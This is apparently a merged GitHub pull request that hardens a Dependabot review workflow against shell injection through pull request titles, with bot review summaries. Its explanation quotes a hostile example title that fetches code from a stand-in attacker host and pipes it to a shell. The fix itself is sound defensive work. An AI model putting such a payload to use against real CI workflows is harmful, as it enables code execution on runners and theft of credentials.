Skip to content

ci: fix shell injection in dependabot-review workflow - #173

Merged
agoldis merged 2 commits into
mainfrom
ci/harden-dependabot-review
Aug 17, 2026
Merged

ci: fix shell injection in dependabot-review workflow#173
agoldis merged 2 commits into
mainfrom
ci/harden-dependabot-review

Conversation

@agoldis

@agoldis agoldis commented Aug 16, 2026

Copy link
Copy Markdown
Contributor

User description

What changed

.github/workflows/dependabot-review.yml:

  • Move github.event.pull_request.title / html_url (and the sibling steps.*.outputs values) out of the run: scripts and into env:, referencing them as "$PR_TITLE" / "$PR_URL". No ${{ }} expression is interpolated into a shell body anymore.
  • Change the job gate from startsWith(github.head_ref, 'dependabot/') to github.actor == 'dependabot[bot]' && startsWith(github.head_ref, 'dependabot/').

Why

The PR title was expanded into the script text as PR_TITLE="${{ github.event.pull_request.title }}". A title like $(curl attacker/x | sh) or a backtick payload executes as shell on the runner at assignment time. The title is fully attacker-controlled, and the old if: gate only checked the branch-name prefix — which any fork can set to dependabot/anything — so an untrusted PR reached the sink.

Impact today is limited: the trigger is pull_request (not pull_request_target), so a fork PR runs with a read-only GITHUB_TOKEN and no secrets. But this is exactly the pattern that turns into a credential leak the moment someone switches to pull_request_target or adds a secret. Fixing it now removes the sink and restricts the job to genuine Dependabot runs.

Notes for reviewers

  • Verified no ${{ github.event... }} remains inside any run: block; the only interpolations are in env: (safe — set as environment variables, not evaluated as shell).
  • github.actor for real Dependabot PRs is dependabot[bot]; a fork PR from a human runs as that user and no longer matches, closing the branch-name bypass.
  • Behavior for legitimate Dependabot PRs is unchanged.

🤖 Generated with Claude Code


Generated description

Below is a concise technical summary of the changes proposed in this PR:
Harden the Dependabot review workflow by passing attacker-controlled PR fields through environment variables instead of interpolating them into shell scripts. Restrict execution to PRs authored by dependabot[bot] while preserving Cursor agent launches and Slack notifications.

TopicDetails
Shell Injection Fix Prevent shell injection by moving PR metadata and step outputs into env: variables consumed safely by the Cursor launch and Slack notification scripts.
Modified files (1)
  • .github/workflows/dependabot-review.yml
Latest Contributors(2)
UserCommitDate
agoldis@gmail.comci: gate dependabot re...August 17, 2026
miguelangarano@gmail.comfix: model nameApril 06, 2026
Dependabot Gating Restrict the review job to genuine Dependabot-authored pull requests, preventing fork branches named dependabot/* from bypassing the workflow gate.
Modified files (1)
  • .github/workflows/dependabot-review.yml
Latest Contributors(2)
UserCommitDate
agoldis@gmail.comci: gate dependabot re...August 17, 2026
miguelangarano@gmail.comfix: model nameApril 06, 2026
Review this PR on Baz | Customize your next review

Summary by CodeRabbit

  • Bug Fixes

    • Improved the safety and reliability of automated dependency update reviews.
    • Prevented potentially unsafe pull request content from affecting automated processing.
    • Improved the reliability of review-result notifications.
  • Chores

    • Tightened workflow conditions so automated reviews run only for eligible dependency update pull requests.

The PR title was interpolated into a run: block as
PR_TITLE="${{ github.event.pull_request.title }}", so a title containing
$(...) or backticks ran as shell on the runner. The if: gate keyed on the
branch-name prefix, which any fork can set, so an untrusted PR reached it.

Impact was limited because the pull_request trigger gives fork PRs a
read-only token and no secrets, but the pattern becomes a credential leak
the moment the trigger or permissions change.

Pass PR fields through env and reference them as shell variables, and gate
on github.actor == 'dependabot[bot]' so only real Dependabot PRs run.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
@coderabbitai

coderabbitai Bot commented Aug 16, 2026

Copy link
Copy Markdown

Review Change Stack

No actionable comments were generated in the recent review. 🎉

ℹ️ Recent review info
⚙️ Run configuration

Configuration used: Organization UI

Review profile: CHILL

Plan: Pro

Run ID: 481850c6-7b82-4c92-9eee-b8b8c5178bc8

📥 Commits

Reviewing files that changed from the base of the PR and between 213ed01 and 2f48981.

📒 Files selected for processing (1)
  • .github/workflows/dependabot-review.yml

Included review availability: 2 reviews are currently available. Based on recent review activity, included reviews refill at 3 per hour.


📝 Walkthrough

Walkthrough

The Dependabot review workflow now validates both pull request author and branch prefix. It passes pull request metadata, agent results, and Slack inputs through environment variables instead of inline shell interpolation.

Changes

Dependabot review workflow hardening

Layer / File(s) Summary
Workflow conditions and safe input passing
.github/workflows/dependabot-review.yml
The job requires a dependabot[bot] author and a dependabot/ head branch. Shell scripts and Slack notifications receive pull request and agent data through environment variables.

Estimated code review effort: 2 (Simple) | ~10 minutes

Merge Risk: ⚪ Minimal · up to 2f489

The workflow now passes pull request values safely through environment variables and restricts execution to genuine Dependabot runs; no actionable merge-blocking risk remains beyond normal checks and review.

🚥 Pre-merge checks | ✅ 5
✅ Passed checks (5 passed)
Check name Status Explanation
Docstring Coverage ✅ Passed No functions found in the changed files to evaluate docstring coverage. Skipping docstring coverage check.
Linked Issues check ✅ Passed Check skipped because no linked issues were found for this pull request.
Out of Scope Changes check ✅ Passed Check skipped because no linked issues were found for this pull request.
Description Check ✅ Passed Check skipped - CodeRabbit’s high-level summary is enabled.
Title check ✅ Passed The title clearly and concisely identifies the main change: fixing shell injection in the Dependabot review workflow.
✨ Finishing Touches
🧪 Generate unit tests (beta)
  • Create PR with unit tests
  • Commit unit tests in branch ci/harden-dependabot-review

Comment @coderabbitai help to get the list of available commands.

Comment thread .github/workflows/dependabot-review.yml Outdated
github.actor is whoever triggered the event, so a maintainer reopening or
pushing to a real Dependabot PR would flip it and skip the review and Slack
notification. pull_request.user.login is the PR author, stable across who
triggers, and still blocks the fork bypass since an attacker's PR is
authored by their own account, not dependabot[bot].

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
@agoldis
agoldis merged commit 7135866 into main Aug 17, 2026
6 checks passed
@agoldis
agoldis deleted the ci/harden-dependabot-review branch August 17, 2026 03:59
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant